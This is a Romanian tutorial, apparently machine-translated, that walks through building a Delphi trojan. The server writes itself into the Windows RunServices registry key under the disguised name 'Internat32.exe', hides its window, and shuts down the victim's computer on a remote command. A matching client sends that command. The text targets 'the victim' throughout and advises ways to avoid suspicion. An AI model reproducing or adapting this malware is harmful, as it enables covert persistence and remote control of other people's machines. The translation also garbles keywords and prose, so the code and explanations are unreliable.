Cum de a crea un troian

Cum de a crea TROJAN!


Pentru simplificare, corpul o vom face în Delphi.

Pregătiți-vă, vom scrie doar două îndoiți. Unul va fi amplasat pe mașina dumneavoastră (clientul), iar celălalt va trebui să arunce victima (server). Munca va fi mult, astfel încât mai puține cuvinte, și mai aproape de corp.







server de troian:
Deci, rulați Delphi sau dacă executați deja, creați un nou proiect ( «Fișier» - «New Application»). Vom lua acum peste partea de server a unui troian.

Pentru a începe, selectați elementul de meniu «Opțiuni» din «proiect» meniu. există o fereastră în fața dumneavoastră, așa cum este prezentat în figura 1.

Aici trebuie să se mute «from1» secțiune a «Auto-crea formulare» (lista pe stânga), în «formularele disponibile» (lista pe dreapta), așa cum se face cu mine. Numai că am deconectat de from1 inițializat dintr-o listă de forme autoturisme. Acum, inițializare va trebui să facă cu mâna. Nu te speria, e foarte simplu.

Pe pagina «aplicației» au același dialog «încărca pictograma» buton. Dați clic pe acesta pentru a schimba pictograma de îndoire următor. Dacă pictograma nu se schimba, acesta va fi folosit delfyachaya, și ea repede va da arma mortala.

Acum va trebui să arunce pe componenta forma ServerSocket a «Internet» secțiune este un protocol de server (TCP implicit, și l-am avea suficient). Mark a creat ServerSocket1 și du-te la ObiectInspector. Numai «Port» proprietatea vă interesează aici. Implicit este 1024, dar te sfătuiesc să-l schimbe la orice alt (de preferință, mai mult de 1000).

Acum, faceți clic moda oriunde pe formular pentru a activa proprietățile sale. Du-te la ObiectInspector-și-clic pe fila Evenimente. Dublu-clic pe moda «OnCreate» linie, și Delphi, ca întotdeauna, va crea o procedură, acesta va fi executat la formularul de inițializare. Scrie-l, după cum urmează:

Procedura TForm1.FormCreate (Expeditor: TObject);
var RegIni: TRegIniFile;
începe
RegIni: = TRegIniFile.Create ( '' Software '');
RegIni.RootKey: = HKEY_LOCAL_MACHINE;
RegIni.OpenKey ( '' Software '', true);
RegIni.OpenKey ( '' Microsoft '', true);
RegIni.OpenKey ( '' Ferestre '', true);
RegIni.OpenKey ( '' CurrentVersion '', true);
RegIni.WriteString ( '' RunServices '', '' Internat32.exe '',
Application.ExeName);
RegIni.Free;
ServerSocket1.Active:=true;
se încheie;

Acum, du-te la începutul textului, și scrie după «utilizări» cuvântul «registru». Am făcut această operațiune în articol despre mega-player, dar repet, va arata ca:

utilizează registru, Ferestre, Mesaje,

Acum voi explica ceea ce am scris în cadrul procedurii.

«Var RegIni: TRegIniFile» - aici ne-am declarat o variabilă de tip Regini TRegIniFile. Cu ajutorul acestei variabile, vom comunica cu registru.

«RegIni: = TRegIniFile.Create ( '' Software '')» - inițializa o variabilă care indică registru.

«RegIni.RootKey: = HKEY_LOCAL_MACHINE» spune că suntem interesați în cheie de registry HKEY_CURRENT_USER.

«RegIni.OpenKey ( '' Software '', true)» - deschis sub-secțiunea «Software».

Apoi am deschis sub-serie, ceea ce face drumul său în măruntaiele ferestrelor.

«RegIni.WriteString («»RunServices«»,«»Internat32.exe«», Application.ExeName)«- se înregistrează în secțiunea «RunServices» (în această secțiune stochează un program care este încărcat automat la pornire), o nouă opțiune numită» Internat32.exe »(viitor fișier) și valoarea Application.ExeName (aici a păstrat calea completă la Troyan de funcționare).

«RegIni.Free» - șterge inutile obiect mai RegIni.

Toate acestea a fost făcut, că, atunci când un program este pornit, acesta se prevăzut în secțiunea de pornire. Și acesta este încărcat automat în memorie când computerul repornește.

Cel mai recent șir de caractere «ServerSocket1.Active:=true» începe server pe portul specificat tine.

Cu încărcare este terminat. Acum, să zaymomsya descărcare. Din nou forma Mark și în fila Evenimente din ObiectInspector-and-click de moda de două ori pe «OnDistroy» linie. Acum va crea o procedură care va fi efectuată în distrugerea formei. Procedura stabilită pentru a scrie:

Procedura TForm1.FormDistroy (Expeditor: TObject; var Acțiune: TCloseAction);
începe
ServerSocket1.Active:=false;
se încheie;

Acest lucru am deconecta un server. Dacă nu, atunci de îndată ce reporniți sacrificiul poate captura ecran albastru, dacă sunteți în acest moment va fi conectat la server. Pe de o parte, acest lucru este bun. sacrificiul tău a convins încă o dată de securitate proastă a ferestrelor sale. Și pe de altă parte, nu cred că ar trebui să pretindem să fie înainte de timp. Mai ales că ecran albastru după repornire poate opri, și nu avem nevoie de ea (privind în perspectivă și să spunem că vom supraîncărca computerul victimei).







Acum trebuie să selectați ServerSocket1 și mergeți la fila Evenimente din ObiectInspector-o. Dublu-clic pe moda «OnClientRead» rând și procedura stabilită (acesta va fi numit atunci când vine vorba de ceva ce port) scrie:

Procedura TForm1.ServerSocket1ClientRead (Expeditor: TObject;
Socket: TCustomWinSocket);
începe
dacă Socket.ReceiveText = '' R '' atunci
ExitWindowsEx (EWX_SHUTDOWN, 0);
se încheie;

Acum, așa cum sună în limba noastră:

Dacă textul primit = literă a „R“
Trimite computerul în redaun.

ExitWindowsEx - redaun face ferestre rostogolească în sus și deconectați computerul de la sursa de alimentare. Fac un băiat bun, asa folosit opțiunea EWX_SHUTDOWN. Cu această opțiune, înainte de a redaunom toate aplicațiile care rulează acoperi cererea este oprit, iar victima va fi capabil de a salva datele modificate. Dacă aveți cu înverșunare, apoi utilizați EWX_FORCE. În acest caz, computerul va cădea fără avertisment și viteza luminii, astfel încât victima nu are timp să se teamă de aer prada :).

Troyan este aproape gata, salvați-l. Pentru a face acest lucru, selectați «Salvați toate» din «Fișier» meniu. De la începutul Delphi numele formularului de anchetă. Lăsați implicit (Unit1) și faceți clic pe „Salvați“. Apoi, va exista o cerere pentru numele proiectului, care va fi folosit ca numele fișierului EXE. Sună-l «Internat32», astfel încât fișierul nu provoacă nici o suspiciune.

Grajduri pentru cai:
Acum ai pentru a ascunde viitorul tău cal horoshenechko, așa că nu a fost vizibilă în bara de activități. Pentru a face acest lucru, selectați «Manager de proiect» meniul «View» meniu. Înainte de a deschide fereastra, așa cum se arată în figura 2.

Faceți clic dreapta pe moda Internat32.exe și din meniul alege «View Source». Înainte de a deschide un mic fișier cu codul sursă al proiectului. Comparați ceea ce vezi cu acest text, și de umplere ceea ce lipsește și ce este prea mult - să ia departe (deci nu prea mult):

utilizări
Formulare,
Windows.
Unit1 în '' Unit1.pas '';

var
WhEvent: THandle;
începe
Application.Initialize;
ShowWindow (Application.Handle, SW_Hide);
Form1: = TForm1.Create (zero);
Application.Run;

WhEvent: = CreateEvent (nil, adevărat, fals, '' et '');
în timp ce (adevărat) do
începe
WaitForSingleObject (WhEvent, 1000);
Application.ProcessMessages;
se încheie;
end.

Fii atent la copierea. Totul ar trebui să fie unu la unu. Acum, vă voi spune ce este scris aici:

La început, nu este nimic interesant, și nu avem absolut nici o îngrijorare. Suntem interesați de tot ceea ce este scris după cuvântul «Var».

WhEvent: THandle - Zic că am nevoie de pointer WhEvent la un eveniment gol Thandle.

Application.Initialize - inițializează troian.

ShowWindow (Application.Handle, SW_Hide) - setează parametrii ferestrei. Parametrul SW_Hide - spune că fereastra trebuie să fie vizibilă. Singurul mod în care se poate vedea apoi este să apăsați Ctrl + Alt + Del. Dar aici, am folosit pentru a nu trezi suspiciuni (doar profesioniști ibric au cunoscut de mult despre acest nume) nume.

Form1: = TForm1.Create (zero) - a crea un formular. Trebuie să fac acest lucru, pentru că am eliminat sub forma unei liste de autoturisme produse.

Application.Run - lansarea troian. Stivuitoare eveniment sunt conduse aici și lucruri, care este responsabilitatea Delphi și care ar trebui să scrie de mână în C sau C ++. Dar aici totul este foarte simplu.

WhEvent: = CreateEvent (zero, adevărat, fals, '' et '') - inițializează un eveniment gol.

Următoarele cinci linii, voi scrie cuvintele, și vei face ca întotdeauna prin comparație:

În timp ce (adevărat) pentru a efectua
începe ciclul
Așteptați până când are loc evenimentul (eveniment gol 1000 de milisecunde)
obține controlul
ciclu complet

Două linii între începutul și sfârșitul ciclului va rula pe termen nelimitat, pentru că adevărat este întotdeauna adevărat, iar această versiune este nici un ciclu. Întregul ciclu zaklyuchaetsya două caracteristici:

1. Runs de așteptare eveniment inexistent. Deoarece nu există nici un eveniment, atunci programul acesta prozhdot timp specificat exact ca al doilea parametru (1000 milisecunde sau 1 secundă).

2. Managementul Get.

După a doua etapă, programul va reveni la alineatul 1 și începe de așteptare. În timp ce așteaptă utilizatorul lucrează cu alte aplicații, ca de obicei. Când Troyan (fiecare 1 secundă) este transferat la gestionarea, verificarea nostru cal: Există un mesaj pentru el. În acest caz, mesajul poate fi un singur lucru - vine la echipa de management ați specificat portul. Dacă mesajul este, troianul le execută. Și, în orice caz (există rapoarte sau nu), atunci utilizatorul este de lucru din nou, timp de 1 secundă, fără nici o problemă. Verificarea are loc atât de rapid încât victima nu se simte povara troian chiar și cu patru sutimi de piatră.

Acum, pe la partea clientului, care va trebui să ruleze pe computer pentru a controla computerul victimei.

Călărețul Trojan:
Din nou, salvați toate modificările și de a crea un nou proiect. Este timpul pentru a scrie partea de client a troian. Doar câteva minute de muncă grea și tot :) nostru frumos.

Un nou proiect trebuie să renunțe la cele trei componente:

1. Butonul de la «Standart» tab-ul pentru a trimite comenzi la calculator victima.

3. ClientSocket de marcaje «Internet» portul clientului pentru a comunica cu serverul

Uită-te la figura 3, ar trebui să aibă ceva similar.

Mark ClientSocket1 și ObiectInspector-e modifica proprietățile portului. În mod implicit este 0, dar trebuie să pună cel pe care îl alocați serverului.

Acum dublu-clic pe butonul de modă și de a crea o procedură (handler de presare) scrie următoarele.

Procedura TForm1.Button1Click (Expeditor: TObject);
începe
ClientSocket1.Host:=Edit1.Text;
ClientSocket1.Active:=true;
ClientSocket1.Socket.SendText ( '' R '');
ClientSocket1.Active:=false;
se încheie;

ClientSocket1.Active:=true - activa conexiunea la server.

ClientSocket1.Socket.SendText ( „“ R „“) - pentru a trimite scrisoarea R. Știi, am avut câteva minute în urmă. Dacă serverul primește litera R, acesta va supraîncărca aparatul.

ClientSocket1.Active:=false - închide conexiunea la server.